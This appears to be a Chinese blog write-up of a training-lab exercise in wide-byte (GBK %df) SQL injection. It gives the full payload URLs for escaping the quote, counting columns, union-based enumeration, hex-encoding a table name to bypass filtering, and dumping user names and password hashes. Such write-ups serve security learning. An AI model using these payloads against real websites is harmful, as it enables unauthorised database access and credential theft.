WEB安全-SQL注入漏洞测试(宽字节)
前言
这是SQL注入的第七篇,有关宽字节注入的知识之前的博客也有叙述,但是缺少一次完整的实操经历,这一次完整的梳理一遍
链接如下: SQL注入漏洞测试(宽字节)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养 (mozhe.cn)
正文
首先明确实训目标和解题方向,是宽字节注入
进入网站,发现和之前的靶场差不多,点进去公告
所谓宽字节注入,原理在于开发人员在开发的时候,对传入的参数进行了特殊的函数处理,比如使用了trim()函数,htmlspecialchars()函数,addlashes函数,是可以过滤我们非法提交的参数,从而导致SQL注入无法成功。作为攻击者,要完成的是对参数的拼接,从而导致恶意的SQL语句写入
开始注入,先测试单引号等情况,发现不可行,将id改成-1后页面消失,所以判断存在注入情况
之后用宽字节注入方式 %df,原理在于在GBK编码中,反斜杠的编码是%5c,在输入%df后,使得添加反斜杠后形成%df%5c,而%df%5c是繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误
http://219.153.49.228:48514/new_list.php?id=1 %df'
发现报错后,添加注释符,报错消失,判断是单引号闭合
http://219.153.49.228:48514/new_list.php?id=1 %df' %23
注意:这里很重要的一点,也算是我之前走的坑,这里如果进行测试,#在微软的Edge上是无法实现的,只能使用--+,而在火狐上面则是可以使用%23和--+,同时在这里对注释进行说明,注释分为两种,一种是#,另一种是--(空格),这里重点说第二种,--是注释符,之后只有在有一个空格的情况下,后面的语句才会被当成注释,但是如果只是--没有空格,则不会当成注释,在SQL语句中+可以作为空格来连接,所以我们避免在注入时,注入点后紧接着一个语句,使得注释符后由于没有空格导致无法形成注释的情况,自己加一个+作为空格,形成注释符,而#在URL里确实有特殊含义,且有些GET型禁止出现#号,所以如果以后#不生效,可以尝试--+
接下来使用order by语句判断列,发现6会报错,5可以,所以确定为5列
http://219.153.49.228:48514/new_list.php?id=1 %df' order by 5 %23
回显报错位为3和5
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,3,4,5 %23
获取数据库名为 mozhe_discuz_stormgroup
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,5 %23
获取表名为 notice,stormgroup_member
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(table_name) from information_schema.tables where table_schema=database() %23
获取stormgroup_member表的列名,但是这里对单引号有过滤
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(column_name) from information_schema.columns where table_name='stormgroup_member' %23
修改代码后,发现原有的绕过方式会在数据表中显示编码后的繁体字“連”,思考新的方式
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(column_name) from information_schema.columns where table_name=%df'stormgroup_member%df' %23
后来在百度上发现,可以通过16进制转换的方式来绕过过滤,所以先将stormgroup_member进行16进制编码得到0x73746f726d67726f75705f6d656d626572,之后获取列名为 name,password,status
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572 %23
随后获取name和password数据为 mozhe,3114b433dece9180717f2b7de56b28a3 和 mozhe,0959ad23e725f2a5e2acfa3344b479e4
http://219.153.49.228:48514/new_list.php?id=-1 %df' union select 1,2,database(),4,group_concat(name,0x7e,password) from mozhe_discuz_stormgroup.stormgroup_member %23
解密后获得账号密码,输入后获取key
总结
打这个靶场还是收获颇丰的,首先知道了宽字节注入的绕过原理和方法,其次是发现有的浏览器对不同的注释以及编码的不同要求导致会误判,所以以后在进行初步判断时要更加的全面,因为只有判断正确,之后的注入才可以继续下去,刚开始就错了也就没有继续的必要了
同时也收获了宽字节注入的具体流程,之前的笔记只知道原理,并没有完整的实操过,这一次了解到在传统UNION联合注入过程中,针对存在过滤的情况,如何调整代码来绕过防御,在学到竟然可以通过16进制的方式传递数据时,着实打开了一扇新的大门,随后顺着这个线索知道对于其它字符的绕过,相关知识网上也有很多博客,之后也要找时间学习和整理一下